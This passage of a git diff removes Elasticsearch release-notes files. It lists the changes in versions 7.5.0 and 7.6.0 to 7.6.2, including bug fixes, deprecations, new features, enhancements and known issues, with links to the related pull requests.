-* Remove uniqueness constraint for API key name and make it optional {es-pull}47549[#47549] (issue: {es-issue}46646[#46646])
-* Initialize document subset bit set cache used for DLS {es-pull}46211[#46211] (issue: {es-issue}45147[#45147])
-
-Snapshot/Restore::
-* Fix RepoCleanup not Removed on Master-Failover {es-pull}49217[#49217]
-* Make FsBlobContainer Listing Resilient to Concurrent Modifications {es-pull}49142[#49142] (issue: {es-issue}37581[#37581])
-* Fix SnapshotShardStatus Reporting for Failed Shard {es-pull}48556[#48556] (issue: {es-issue}48526[#48526])
-* Cleanup Concurrent RepositoryData Loading {es-pull}48329[#48329] (issue: {es-issue}48122[#48122])
-* Fix Bug in Azure Repo Exception Handling {es-pull}47968[#47968]
-* Make loadShardSnapshot Exceptions Consistent {es-pull}47728[#47728] (issue: {es-issue}47507[#47507])
-* Fix Snapshot Corruption in Edge Case {es-pull}47552[#47552] (issues: {es-issue}46250[#46250], {es-issue}47550[#47550])
-* Fix Bug in Snapshot Status Response Timestamps {es-pull}46919[#46919] (issue: {es-issue}46913[#46913])
-* Normalize Blob Store Repo Paths {es-pull}46869[#46869] (issue: {es-issue}41814[#41814])
-* GCS deleteBlobsIgnoringIfNotExists should catch StorageException {es-pull}46832[#46832] (issue: {es-issue}46772[#46772])
-* Execute SnapshotsService Error Callback on Generic Thread {es-pull}46277[#46277]
-* Make Snapshot Logic Write Metadata after Segments {es-pull}45689[#45689] (issue: {es-issue}41581[#41581])
-
-Store::
-* Allow truncation of clean translog {es-pull}47866[#47866]
-
-Task Management::
-* Fix .tasks index strict mapping: parent_id should be parent_task_id {es-pull}48393[#48393]
-
-Transform::
-* [Transform] do not fail checkpoint creation due to global checkpoint mismatch {es-pull}48423[#48423] (issue: {es-issue}48379[#48379])
-* [7.5][Transform] prevent assignment if any node is older than 7.4 {es-pull}48055[#48055] (issue: {es-issue}48019[#48019])
-* [Transform] prevent assignment to nodes older than 7.4 {es-pull}48044[#48044] (issue: {es-issue}48019[#48019])
-* [ML][Transforms] fix bwc serialization with 7.3 {es-pull}48021[#48021]
-* [ML][Transforms] signal listener early on task _stop failure {es-pull}47954[#47954]
-* [ML][Transform] Use field_caps API for mapping deduction {es-pull}46703[#46703] (issue: {es-issue}46694[#46694])
-* [ML-DataFrame] Fix off-by-one error in checkpoint operations_behind {es-pull}46235[#46235]
-
-
-
-[[regression-7.5.0]]
-[discrete]
-=== Regressions
-
-Aggregations::
-* Implement rounding optimization for fixed offset timezones {es-pull}46670[#46670] (issue: {es-issue}45702[#45702])
-
-Infra/Core::
-* [Java.time] Support partial parsing {es-pull}46814[#46814] (issues: {es-issue}45284[#45284], {es-issue}47473[#47473])
-* Enable ResolverStyle.STRICT for java formatters {es-pull}46675[#46675]
-
-
-
-[[upgrade-7.5.0]]
-[discrete]
-=== Upgrades
-
-Infra/Scripting::
-* Update mustache dependency to 0.9.6 {es-pull}46243[#46243]
-
-Snapshot/Restore::
-* Update AWS SDK for repository-s3 plugin to support IAM Roles for Service Accounts {es-pull}46969[#46969]
-* Upgrade to Azure SDK 8.4.0 {es-pull}46094[#46094]
-
-Store::
-* Upgrade to Lucene 8.3. {es-pull}48829[#48829]
diff --git a/docs/reference/release-notes/7.6.asciidoc b/docs/reference/release-notes/7.6.asciidoc
deleted file mode 100644
index bc05e6d81d0..00000000000
--- a/docs/reference/release-notes/7.6.asciidoc
+++ /dev/null
@@ -1,742 +0,0 @@
-[[release-notes-7.6.2]]
-== {es} version 7.6.2
-
-Also see <<breaking-changes-7.6,Breaking changes in 7.6>>.
-
-[[breaking-7.6.2]]
-[discrete]
-=== Breaking changes
-
-Authorization::
-* Creation of derived API keys (keys created by existing keys) now requires explicit "no privileges" configuration {es-pull}53647[#53647], https://www.elastic.co/community/security[CVE-2020-7009]
-
-[[bug-7.6.2]]
-[discrete]
-=== Bug fixes
-
-Allocation::
-* Improve performance of shards limits decider {es-pull}53577[#53577] (issue: {es-issue}53559[#53559])
-
-Authentication::
-* Fix potential bug in concurrent token refresh support {es-pull}53668[#53668]
-
-CCR::
-* Handle no such remote cluster exception in ccr {es-pull}53415[#53415] (issue: {es-issue}53225[#53225])
-
-Distributed::
-* Execute retention lease syncs under system context {es-pull}53838[#53838] (issues: {es-issue}48430[#48430], {es-issue}53751[#53751])
-
-Engine::
-* Fix doc_stats and segment_stats of ReadOnlyEngine {es-pull}53345[#53345] (issues: {es-issue}51303[#51303], {es-issue}51331[#51331])
-
-Features/ILM+SLM::
-* Fix null config in SnapshotLifecyclePolicy.toRequest {es-pull}53328[#53328] (issues: {es-issue}44465[#44465], {es-issue}53171[#53171])
-* ILM Freeze step retry when not acknowledged {es-pull}53287[#53287]
-
-Features/Ingest::
-* Fix ingest pipeline _simulate api with empty docs never returns a res… {es-pull}52937[#52937] (issue: {es-issue}52833[#52833])
-
-Features/Java High Level REST Client::
-* Add unsupported parameters to HLRC search request {es-pull}53745[#53745]
-* Fix AbstractBulkByScrollRequest slices parameter via Rest {es-pull}53068[#53068] (issue: {es-issue}53044[#53044])
-
-Features/Watcher::
-* Disable Watcher script optimization for stored scripts {es-pull}53497[#53497] (issue: {es-issue}40212[#40212])
-
-Infra/Core::
-* Avoid self-suppression on grouped action listener {es-pull}53262[#53262] (issue: {es-issue}53174[#53174])
-
-Infra/Packaging::
-* Handle special characters and spaces in JAVA_HOME path in elasticsearch-service.bat {es-pull}52676[#52676]
-
-Infra/Plugins::
-* Ensure only plugin REST tests are run for plugins {es-pull}53184[#53184] (issues: {es-issue}52114[#52114], {es-issue}53183[#53183])
-
-Machine Learning::
-* Fix a bug in the calculation of the minimum loss leaf values for classification {ml-pull}1032[#1032]
-
-Network::
-* Invoke response handler on failure to send {es-pull}53631[#53631]
-
-SQL::
-* Fix NPE for parameterized LIKE/RLIKE {es-pull}53573[#53573] (issue: {es-issue}53557[#53557])
-* Add support for index aliases for SYS COLUMNS command {es-pull}53525[#53525] (issue: {es-issue}31609[#31609])
-* Fix issue with LIKE/RLIKE as painless script {es-pull}53495[#53495] (issue: {es-issue}53486[#53486])
-* Fix column size for IP data type {es-pull}53056[#53056] (issue: {es-issue}52762[#52762])
-
-Search::
-* Fix Term Vectors with artificial docs and keyword fields {es-pull}53504[#53504] (issue: {es-issue}53494[#53494])
-* Fix concurrent requests race over scroll context limit {es-pull}53449[#53449]
-* Fix pre-sorting of shards in the can_match phase {es-pull}53397[#53397]
-* Fix potential NPE in FuzzyTermsEnum {es-pull}53231[#53231] (issue: {es-issue}52894[#52894])
-
-[[upgrade-7.6.2]]
-[discrete]
-=== Upgrades
-
-Infra/Core::
-* Update jackson-databind to 2.8.11.6 {es-pull}53522[#53522] (issue: {es-issue}45225[#45225])
-
-[[release-notes-7.6.1]]
-== {es} version 7.6.1
-
-Also see <<breaking-changes-7.6,Breaking changes in 7.6>>.
-
-[[bug-7.6.1]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* Decode max and min optimization more carefully {es-pull}52336[#52336] (issue: {es-issue}52220[#52220])
-* Fix a DST error in date_histogram {es-pull}52016[#52016] (issue: {es-issue}50265[#50265])
-
-Audit::
-* Logfile audit settings validation {es-pull}52537[#52537] (issues: {es-issue}47038[#47038], {es-issue}47711[#47711], {es-issue}52357[#52357])
-
-CCR::
-* Fix shard follow task cleaner under security {es-pull}52347[#52347] (issues: {es-issue}44702[#44702], {es-issue}51971[#51971])
-
-Features/cat APIs::
-* Fix NPE in RestPluginsAction {es-pull}52620[#52620] (issue: {es-issue}45321[#45321])
-
-Features/ILM+SLM::
-* ILM fix the init step to actually be retryable {es-pull}52076[#52076]
-
-Features/Ingest::
-* Handle errors when evaluating if conditions in processors {es-pull}52543[#52543] (issue: {es-issue}52339[#52339])
-
-Features/Monitoring::
-* Fix NPE in cluster state collector for monitoring {es-pull}52371[#52371] (issue: {es-issue}52317[#52317])
-
-Features/Stats::
-* Switch to AtomicLong for "IngestCurrent" metric to prevent negative values {es-pull}52581[#52581] (issues: {es-issue}52406[#52406], {es-issue}52411[#52411])
-
-Infra/Packaging::
-* Limit _FILE env var support to specific vars {es-pull}52525[#52525] (issue: {es-issue}52503[#52503])
-
-Machine Learning::
-* Don't return inflated definition when storing trained models {es-pull}52573[#52573]
-* Validate tree feature index is within range {es-pull}52460[#52460]
-
-Network::
-* Remove seeds dependency for remote cluster settings {es-pull}52796[#52796]
-
-Reindex::
-* Allow comma separated source indices {es-pull}52044[#52044] (issue: {es-issue}51949[#51949])
-
-SQL::
-* Supplement input checks on received request parameters {es-pull}52229[#52229]
-* Fix issue with timezone when paginating {es-pull}52101[#52101] (issue: {es-issue}51258[#51258])
-* Fix ORDER BY on aggregates and GROUPed BY fields {es-pull}51894[#51894] (issue: {es-issue}50355[#50355])
-* Fix milliseconds handling in intervals {es-pull}51675[#51675] (issue: {es-issue}41635[#41635])
-* Selecting a literal from grouped by query generates error {es-pull}41964[#41964] (issues: {es-issue}41413[#41413], {es-issue}41951[#41951])
-
-Snapshot/Restore::
-* Fix Non-Verbose Snapshot List Missing Empty Snapshots {es-pull}52433[#52433]
-
-Store::
-* Fix synchronization in ByteSizeCachingDirectory {es-pull}52512[#52512]
-
-
-
-[[upgrade-7.6.1]]
-[discrete]
-=== Upgrades
-
-Authentication::
-* Update oauth2-oidc-sdk to 7.0 {es-pull}52489[#52489] (issue: {es-issue}48409[#48409])
-
-[[release-notes-7.6.0]]
-== {es} version 7.6.0
-
-Also see <<breaking-changes-7.6,Breaking changes in 7.6>>.
-
-[[known-issues-7.6.0]]
-[discrete]
-=== Known issues
-
-* Applying deletes or updates on an index after it has been shrunk may corrupt
-the index. In order to prevent this issue, it is recommended to stop shrinking
-read-write indices. For read-only indices, it is recommended to force-merge
-indices after shrinking, which significantly reduces the likeliness of this
-corruption in the case that deletes/updates would be applied by mistake. This
-bug is fixed in {es} 7.7 and later versions. More details can be found on the
-https://issues.apache.org/jira/browse/LUCENE-9300[corresponding issue].
-
-* Indices created in 6.x with <<date,`date`>> and <<date_nanos,`date_nanos`>> fields using formats
-that are incompatible with java.time patterns will cause parsing errors, incorrect date calculations or wrong search results.
-https://github.com/elastic/elasticsearch/pull/52555
-This is fixed in {es} 7.7 and later versions.
-
-* Slow loggers can cause Log4j loggers to leak over time. When a new index is created,
- a new Log4j logger is associated with it. However, when an index is deleted,
-  Log4j keeps an internal reference to its loggers that results in a memory leak (issue: {es-issue}56171[#56171])
-+
-This issue is fixed in {es} 6.8.10 and 7.7.1.
-
-* Week-based date patterns are not working correctly with `Y`. Using `Y` with `w` will result in
-a failed request and an exception in the logs (issue: {es-issue}57128[#57128]). Using `y` with `w` results in
-incorrect date calculations. A workaround is to add the following line to the `jvm.options` file.
-+
-[source,shell]
---------------------------------------------
-9-:-Djava.locale.providers=SPI,COMPAT
---------------------------------------------
-+
-This issue is fixed in {es} 7.7.0 and later versions (issue: {es-issue}50916[#50916]).
-
-[[breaking-7.6.0]]
-[discrete]
-=== Breaking changes
-
-[[breaking-java-7.6.0]]
-[discrete]
-=== Breaking Java changes
-
-Security::
-* Support Client and RoleMapping in custom Realms {es-pull}50534[#50534] (issue: {es-issue}48369[#48369])
-
-
-
-[[deprecation-7.6.0]]
-[discrete]
-=== Deprecations
-
-Analysis::
-* Deprecate and remove camel-case nGram and edgeNGram tokenizers {es-pull}50862[#50862] (issue: {es-issue}50561[#50561])
-
-Authorization::
-* Deprecating kibana_user and kibana_dashboard_only_user roles {es-pull}46456[#46456]
-
-Distributed::
-* Deprecate synced flush {es-pull}50835[#50835] (issue: {es-issue}50776[#50776])
-* Deprecate indices without soft-deletes {es-pull}50502[#50502]
-
-Features/Indices APIs::
-* Emit warnings when index templates have multiple mappings {es-pull}50982[#50982]
-* Ensure we emit a warning when using the deprecated 'template' field. {es-pull}50831[#50831] (issue: {es-issue}49460[#49460])
-
-Infra/Core::
-* Deprecate the 'local' parameter of /_cat/nodes {es-pull}50499[#50499] (issue: {es-issue}50088[#50088])
-
-Reindex::
-* Deprecate sorting in reindex {es-pull}49458[#49458] (issue: {es-issue}47567[#47567])
-
-Search::
-* Deprecate loading fielddata on _id field {es-pull}49166[#49166] (issues: {es-issue}26472[#26472], {es-issue}43599[#43599])
-* Update the signature of vector script functions. {es-pull}48604[#48604]
-* Deprecate the sparse_vector field type. {es-pull}48315[#48315]
-* Add a deprecation warning regarding allocation awareness in search request {es-pull}48351[#48351] (issue: {es-issue}43453[#43453])
-
-
-[[feature-7.6.0]]
-[discrete]
-=== New features
-
-Aggregations::
-* New Histogram field mapper that supports percentiles aggregations. {es-pull}48580[#48580] (issue: {es-issue}48578[#48578])
-* Implement stats aggregation for string terms {es-pull}47468[#47468]
-
-Analysis::
-* Implement Lucene EstonianAnalyzer, Stemmer {es-pull}49149[#49149] (issue: {es-issue}48895[#48895])
-
-Authentication::
-* Password Protected Keystore (Feature Branch) {es-pull}49210[#49210]
-
-Features/ILM+SLM::
-* ILM action to wait for SLM policy execution {es-pull}50454[#50454] (issue: {es-issue}45067[#45067])
-* Add ILM histore store index {es-pull}50287[#50287] (issue: {es-issue}49180[#49180])
-
-Features/Ingest::
-* CSV processor {es-pull}49509[#49509] (issue: {es-issue}49113[#49113])
-
-Machine Learning::
-* Implement `precision` and `recall` metrics for classification evaluation {es-pull}49671[#49671] (issue: {es-issue}48759[#48759])
-* Explain data frame analytics API {es-pull}49455[#49455]
-* Machine learning model inference ingest processor {es-pull}49052[#49052]
-* Implement accuracy metric for multi-class classification {es-pull}47772[#47772] (issue: {es-issue}48759[#48759])
-* Add feature importance values to classification and regression results (using tree
-SHapley Additive exPlanation, or SHAP) {ml-pull}857[#857]
-
-Mapping::
-* Add per-field metadata. {es-pull}49419[#49419] (issue: {es-issue}33267[#33267])
-
-Search::
-* Add fuzzy intervals source {es-pull}49762[#49762] (issue: {es-issue}49595[#49595])
-* Add a listener to track the progress of a search request locally {es-pull}49471[#49471] (issue: {es-issue}49091[#49091])
-
-
-
-[[enhancement-7.6.0]]
-[discrete]
-=== Enhancements
-
-Aggregations::
-* Add reusable HistogramValue object   {es-pull}49799[#49799] (issue: {es-issue}49683[#49683])
-* Optimize composite aggregation based on index sorting {es-pull}48399[#48399] (issue: {es-issue}48130[#48130])
-
-Allocation::
-* Auto-expand indices according to allocation filtering rules {es-pull}48974[#48974]
-* Do not cancel ongoing recovery for noop copy on broken node {es-pull}48265[#48265] (issue: {es-issue}47974[#47974])
-* Quieter logging from the DiskThresholdMonitor {es-pull}48115[#48115] (issue: {es-issue}48038[#48038])
-* Faster access to INITIALIZING/RELOCATING shards {es-pull}47817[#47817] (issues: {es-issue}46941[#46941], {es-issue}48579[#48579])
-
-Analysis::
-* Check for deprecations when analyzers are built {es-pull}50908[#50908] (issue: {es-issue}42349[#42349])
-* Make Multiplexer inherit filter chains analysis mode {es-pull}50662[#50662] (issue: {es-issue}50554[#50554])
-* Allow custom characters in token_chars of ngram tokenizers {es-pull}49250[#49250] (issue: {es-issue}25894[#25894])
-
-Authentication::
-* Add Debug/Trace logging for authentication {es-pull}49575[#49575] (issue: {es-issue}49473[#49473])
-
-Authorization::
-* Increase Size and lower TTL on DLS BitSet Cache {es-pull}50535[#50535] (issues: {es-issue}43669[#43669], {es-issue}49260[#49260])
-* Add 'monitor_snapshot' cluster privilege {es-pull}50489[#50489] (issue: {es-issue}50210[#50210])
-* Remove reserved roles for code search {es-pull}50068[#50068] (issue: {es-issue}49842[#49842])
-* [Code] Remove code_admin/code_user roles {es-pull}48164[#48164]
-* Resolve the role query and the number of docs lazily {es-pull}48036[#48036]
-
-CCR::
-* Improve error message when pausing index {es-pull}48915[#48915]
-* Use MultiFileTransfer in CCR remote recovery {es-pull}44514[#44514] (issue: {es-issue}44468[#44468])
-
-CRUD::
-* print id detail when id is too long. {es-pull}49433[#49433]
-* Add preflight check to dynamic mapping updates {es-pull}48817[#48817] (issue: {es-issue}35564[#35564])
-
-Cluster Coordination::
-* Move metadata storage to Lucene {es-pull}50907[#50907] (issue: {es-issue}48701[#48701])
-* Remove custom metadata tool {es-pull}50813[#50813] (issue: {es-issue}48701[#48701])
-
-Distributed::
-* Use retention lease in peer recovery of closed indices {es-pull}48430[#48430] (issue: {es-issue}45136[#45136])
-
-Engine::
-* Do not force refresh when write indexing buffer {es-pull}50769[#50769]
-* Deleted docs disregarded for if_seq_no check {es-pull}50526[#50526]
-* Allow realtime get to read from translog {es-pull}48843[#48843]
-* Do not warm up searcher in engine constructor {es-pull}48605[#48605] (issue: {es-issue}47186[#47186])
-* Add a new merge policy that interleaves old and new segments on force merge {es-pull}48533[#48533] (issue: {es-issue}37043[#37043])
-* Refresh should not acquire readLock {es-pull}48414[#48414] (issue: {es-issue}47186[#47186])
-
-Features/ILM+SLM::
-* Refresh cached phase policy definition if possible on new poli… {es-pull}50820[#50820] (issue: {es-issue}48431[#48431])
-* Make the UpdateRolloverLifecycleDateStep retryable {es-pull}50702[#50702] (issue: {es-issue}48183[#48183])
-* Make InitializePolicyContextStep retryable {es-pull}50685[#50685] (issue: {es-issue}48183[#48183])
-* ILM retryable async action steps {es-pull}50522[#50522] (issues: {es-issue}44135[#44135], {es-issue}48183[#48183])
-* Make the TransportRolloverAction execute in one cluster state update {es-pull}50388[#50388]
-* ILM open/close steps are noop if idx is open/close {es-pull}48614[#48614]
-* ILM Make the `check-rollover-ready` step retryable {es-pull}48256[#48256] (issue: {es-issue}44135[#44135])
-
-Features/Ingest::
-* Foreach processor - fork recursive call  {es-pull}50514[#50514]
-* Sync grok patterns with logstash patterns {es-pull}50381[#50381]
-* Replace required pipeline with final pipeline {es-pull}49470[#49470] (issue: {es-issue}49247[#49247])
-* Add templating support to enrich processor {es-pull}49093[#49093]
-* Introduce on_failure_pipeline ingest metadata inside on_failure block {es-pull}49076[#49076] (issue: {es-issue}44920[#44920])
-* Add templating support to pipeline processor. {es-pull}49030[#49030] (issue: {es-issue}39955[#39955])
-* Add option to split processor for preserving trailing empty fields {es-pull}48664[#48664] (issue: {es-issue}48498[#48498])
-* Change grok watch dog to be Matcher based instead of thread based. {es-pull}48346[#48346] (issues: {es-issue}43673[#43673], {es-issue}47374[#47374])
-* update ingest-user-agent regexes.yml {es-pull}47807[#47807]
-
-Features/Java High Level REST Client::
-* Add remote info to the HLRC {es-pull}49657[#49657] (issue: {es-issue}47678[#47678])
-* Add delete alias to the HLRC {es-pull}48819[#48819] (issue: {es-issue}47678[#47678])
-
-Features/Monitoring::
-* Significantly Lower Monitoring HttpExport Memory Footprint {es-pull}48854[#48854]
-* Validate proxy base path at parse time {es-pull}47912[#47912] (issue: {es-issue}47711[#47711])
-* Validate index name time format setting at parse time {es-pull}47911[#47911] (issue: {es-issue}47711[#47711])
-* Validate monitoring header overrides at parse time {es-pull}47848[#47848] (issue: {es-issue}47711[#47711])
-* Validate monitoring username at parse time {es-pull}47821[#47821] (issue: {es-issue}47711[#47711])
-* Validate monitoring password at parse time {es-pull}47740[#47740] (issue: {es-issue}47711[#47711])
-
-Features/Stats::
-* Add ingest info to Cluster Stats {es-pull}48485[#48485] (issue: {es-issue}46146[#46146])
-
-Features/Watcher::
-* Log attachment generation failures {es-pull}50080[#50080]
-* Don't dump a stacktrace for invalid patterns when executing elasticse… {es-pull}49744[#49744] (issue: {es-issue}49642[#49642])
-
-Geo::
-* "CONTAINS" support for BKD-backed geo_shape and shape fields {es-pull}50141[#50141] (issue: {es-issue}41204[#41204])
-* Adds support for geo-bounds filtering in geogrid aggregations {es-pull}50002[#50002]
-* Introduce faster approximate sinh/atan math functions {es-pull}49009[#49009] (issue: {es-issue}41166[#41166])
-* Add IndexOrDocValuesQuery to GeoPolygonQueryBuilder {es-pull}48449[#48449]
-
-Infra/Core::
-* Add "did you mean" to ObjectParser {es-pull}50938[#50938]
-* Consistent case in CLI option descriptions {es-pull}49635[#49635]
-* Improve resiliency to formatting JSON in server {es-pull}48553[#48553] (issue: {es-issue}48450[#48450])
-* Don't close stderr under `--quiet` {es-pull}47208[#47208] (issue: {es-issue}46900[#46900])
-
-Infra/Packaging::
-* Respect ES_PATH_CONF on package install {es-pull}50158[#50158]
-* Restrict support for CMS to pre-JDK 14 {es-pull}49123[#49123] (issue: {es-issue}46973[#46973])
-* Remove parsed JVM settings from general settings in Windows service daemon manager {es-pull}49061[#49061] (issue: {es-issue}48796[#48796])
-* Package the JDK into jdk.app on macOS {es-pull}48765[#48765]
-* Add UBI-based Docker images {es-pull}48710[#48710] (issue: {es-issue}48429[#48429])
-
-Infra/Plugins::
-* Report progress of multiple plugin installs {es-pull}51001[#51001] (issue: {es-issue}50924[#50924])
-* Allow installing multiple plugins as a transaction {es-pull}50924[#50924] (issue: {es-issue}50443[#50443])
-
-Infra/Scripting::
-* Scripting: ScriptFactory not required by compile {es-pull}50344[#50344] (issue: {es-issue}49466[#49466])
-* Scripting: Cache script results if deterministic {es-pull}50106[#50106] (issue: {es-issue}49466[#49466])
-* Scripting: Groundwork for caching script results {es-pull}49895[#49895] (issue: {es-issue}49466[#49466])
-* Scripting: add available languages & contexts API {es-pull}49652[#49652] (issue: {es-issue}49463[#49463])
-* Scripting: fill in get contexts REST API {es-pull}48319[#48319] (issue: {es-issue}47411[#47411])
-* Scripting: get context names REST API {es-pull}48026[#48026] (issue: {es-issue}47411[#47411])
-
-Infra/Settings::
-* Add parameter to make sure that log of updating IndexSetting be more detailed {es-pull}49969[#49969] (issue: {es-issue}49818[#49818])
-* Enable dependent settings values to be validated {es-pull}49942[#49942]
-* Do not reference values for filtered settings {es-pull}48066[#48066]
-
-License::
-* Add max_resource_units to enterprise license {es-pull}50735[#50735]
-* Add setting to restrict license types {es-pull}49418[#49418] (issue: {es-issue}48508[#48508])
-* Support "enterprise" license types {es-pull}49223[#49223] (issue: {es-issue}48510[#48510])
-
-Machine Learning::
-* Add audit warning for 1000 categories found early in job {es-pull}51146[#51146] (issue: {es-issue}50749[#50749])
-* Add `num_top_feature_importance_values` param to regression and classification {es-pull}50914[#50914]
-* Implement force deleting a data frame analytics job {es-pull}50553[#50553] (issue: {es-issue}48124[#48124])
-* Delete unused data frame analytics state {es-pull}50243[#50243]
-* Make each analysis report desired field mappings to be copied {es-pull}50219[#50219] (issue: {es-issue}50119[#50119])
-* Retry bulk indexing of state docs {es-pull}50149[#50149] (issue: {es-issue}50143[#50143])
-* Persist/restore state for data frame analytics classification {es-pull}50040[#50040]
-* Introduce `randomize_seed` setting for regression and classification {es-pull}49990[#49990]
-* Pass `prediction_field_type` to C++ analytics process {es-pull}49861[#49861] (issue: {es-issue}49796[#49796])
-* Add optional source filtering during data frame reindexing {es-pull}49690[#49690] (issue: {es-issue}49531[#49531])
-* Add default categorization analyzer definition to ML info {es-pull}49545[#49545]
-* Add graceful retry for anomaly detector result indexing failures {es-pull}49508[#49508] (issue: {es-issue}45711[#45711])
-* Lower minimum model memory limit value for data frame analytics jobs from 1MB to 1kB {es-pull}49227[#49227] (issue: {es-issue}49168[#49168])
-* Improve `model_memory_limit` user experience for data frame analytics jobs {es-pull}44699[#44699]
-* Improve performance of boosted tree training for both classification and regression {ml-pull}775[#775]
-* Reduce the peak memory used by boosted tree training and fix an overcounting bug
-estimating maximum memory usage {ml-pull}781[#781]
-* Stratified fractional cross validation for regression {ml-pull}784[#784]
-* Added `geo_point` supported output for `lat_long` function records {ml-pull}809[#809], {es-pull}47050[#47050]
-* Use a random bag of the data to compute the loss function derivatives for each
-new tree which is trained for both regression and classification {ml-pull}811[#811]
-* Emit `prediction_probability` field alongside prediction field in ml results {ml-pull}818[#818]
-* Reduce memory usage of {ml} native processes on Windows {ml-pull}844[#844]
-* Reduce runtime of classification and regression {ml-pull}863[#863]
-* Stop early training a classification and regression forest when the validation
-error is no longer decreasing {ml-pull}875[#875]
-* Emit `prediction_field_name` in data frame analytics results using the type
-provided as `prediction_field_type` parameter {ml-pull}877[#877]
-* Improve performance updating quantile estimates {ml-pull}881[#881]
-* Migrate to use Bayesian optimisation for initial hyperparameter value line
-searches and stop early if the expected improvement is too small {ml-pull}903[#903]
-* Stop cross-validation early if the predicted test loss has a small chance of
-being smaller than for the best parameter values found so far {ml-pull}915[#915]
-* Optimize decision threshold for classification to maximize minimum class recall {ml-pull}926[#926]
-* Include categorization memory usage in the `model_bytes` field in
-`model_size_stats`, so that it is taken into account in node assignment
-decisions {ml-pull}927[#927] (issue: {ml-issue}724[#724])
-
-Mapping::
-* Add telemetry for flattened fields. {es-pull}48972[#48972]
-
-Network::
-* Add certutil http command {es-pull}49827[#49827]
-* Do not load SSLService in plugin contructor {es-pull}49667[#49667] (issue: {es-issue}44536[#44536])
-* Netty4: switch to composite cumulator {es-pull}49478[#49478]
-* Add the simple strategy to cluster settings {es-pull}49414[#49414] (issue: {es-issue}49067[#49067])
-* Deprecate misconfigured SSL server config {es-pull}49280[#49280] (issue: {es-issue}45892[#45892])
-* Improved diagnostics for TLS trust failures {es-pull}48911[#48911]
-
-Percolator::
-* Refactor percolator's QueryAnalyzer to use QueryVisitors {es-pull}49238[#49238] (issue: {es-issue}45639[#45639])
-
-Ranking::
-* Support `search_type` in Rank Evaluation API {es-pull}48542[#48542] (issue: {es-issue}48503[#48503])
-
-Recovery::
-* Use peer recovery retention leases for indices without soft-deletes {es-pull}50351[#50351] (issues: {es-issue}45136[#45136], {es-issue}46959[#46959])
-* Recovery buffer size 16B smaller {es-pull}50100[#50100]
-
-Reindex::
-* Reindex sort deprecation warning take 2 {es-pull}49855[#49855] (issue: {es-issue}49458[#49458])
-
-SQL::
-* SQL: Handle uberjar scenario where the ES jdbc driver file is bundled in another jar {es-pull}51856[#51856] (issue: {es-issue}50201[#50201])
-* SQL: add trace logging for search responses coming from server {es-pull}50530[#50530]
-* SQL: Add TRUNC alias for TRUNCATE {es-pull}49571[#49571] (issue: {es-issue}41195[#41195])
-* SQL: binary communication implementation for drivers and the CLI {es-pull}48261[#48261] (issue: {es-issue}47785[#47785])
-* SQL: Verify Full-Text Search functions not allowed in SELECT {es-pull}51568[#51568] (issue: {es-issue}47446[#47446])
-
-
-Search::
-* Add Validation for maxQueryTerms to be greater than 0 for MoreLikeThisQuery {es-pull}49966[#49966] (issue: {es-issue}49927[#49927])
-* Optimize numeric sort on match_all queries {es-pull}49717[#49717] (issue: {es-issue}48804[#48804])
-* Pre-sort shards based on the max/min value of the primary sort field {es-pull}49092[#49092] (issue: {es-issue}49091[#49091])
-* Optimize sort on long field {es-pull}48804[#48804]
-* Search optimisation - add canMatch early aborts for queries on "_index" field {es-pull}48681[#48681] (issue: {es-issue}48473[#48473])
-* #48475 Pure disjunctions should rewrite to a MatchNoneQueryBuilder {es-pull}48557[#48557]
-* Disable caching when queries are profiled {es-pull}48195[#48195] (issue: {es-issue}33298[#33298])
-* BlendedTermQuery's equals method should consider boosts {es-pull}48193[#48193] (issue: {es-issue}48184[#48184])
-* Increase the number of vector dims to 2048 {es-pull}46895[#46895]
-
-Security::
-* Make .async-search-* a restricted namespace {es-pull}50294[#50294]
-* Security should not reload files that haven't changed {es-pull}50207[#50207] (issue: {es-issue}50063[#50063])
-
-Snapshot/Restore::
-* Use Cluster State to Track Repository Generation {es-pull}49729[#49729] (issue: {es-issue}49060[#49060])
-* Track Repository Gen. in BlobStoreRepository {es-pull}48944[#48944] (issues: {es-issue}38941[#38941], {es-issue}47520[#47520], {es-issue}47834[#47834], {es-issue}49048[#49048])
-* Restore from Individual Shard Snapshot Files in Parallel {es-pull}48110[#48110] (issue: {es-issue}42791[#42791])
-* Track Shard-Snapshot Index Generation at Repository Root  {es-pull}46250[#46250] (issues: {es-issue}38941[#38941], {es-issue}45736[#45736])
-
-Store::
-* mmap dim files in HybridDirectory {es-pull}49272[#49272] (issue: {es-issue}48509[#48509])
-
-Transform::
-* Improve force stop robustness in case of an error {es-pull}51072[#51072]
-* Add actual timeout in message {es-pull}50140[#50140]
-* Automatic deletion of old checkpoints {es-pull}49496[#49496]
-* Improve error handling of script errors {es-pull}48887[#48887] (issue: {es-issue}48467[#48467])
-* Add `wait_for_checkpoint` flag to stop {es-pull}47935[#47935] (issue: {es-issue}45293[#45293])
-
-
-
-[[bug-7.6.0]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* Use #name() instead of #simpleName() when generating doc values {es-pull}51920[#51920] (issues: {es-issue}50307[#50307], {es-issue}51847[#51847])
-* Fix a sneaky bug in rare_terms {es-pull}51868[#51868] (issue: {es-issue}51020[#51020])
-* Support time_zone on composite's date_histogram {es-pull}51172[#51172] (issues: {es-issue}45199[#45199], {es-issue}45200[#45200])
-* Fix format problem in composite of unmapped {es-pull}50869[#50869] (issue: {es-issue}50600[#50600])
-* SingleBucket aggs need to reduce their bucket's pipelines first {es-pull}50103[#50103] (issue: {es-issue}50054[#50054])
-* Avoid precision loss in DocValueFormat.RAW#parseLong {es-pull}49063[#49063] (issue: {es-issue}38692[#38692])
-* Fix ignoring missing values in min/max aggregations {es-pull}48970[#48970] (issue: {es-issue}48905[#48905])
-
-Allocation::
-* Collect shard sizes for closed indices {es-pull}50645[#50645] (issue: {es-issue}33888[#33888])
-* Auto-expand replicated closed indices {es-pull}48973[#48973]
-* Ignore dangling indices created in newer versions {es-pull}48652[#48652] (issue: {es-issue}34264[#34264])
-* Handle negative free disk space in deciders {es-pull}48392[#48392] (issue: {es-issue}48380[#48380])
-
-Analysis::
-* Fix caching for PreConfiguredTokenFilter {es-pull}50912[#50912] (issue: {es-issue}50734[#50734])
-* Throw Error on deprecated nGram and edgeNGram custom filters {es-pull}50376[#50376] (issue: {es-issue}50360[#50360])
-* _analyze api does not correctly use normalizers when specified {es-pull}48866[#48866] (issue: {es-issue}48650[#48650])
-
-Audit::
-* Audit log filter and marker {es-pull}45456[#45456] (issue: {es-issue}47251[#47251])
-
-Authentication::
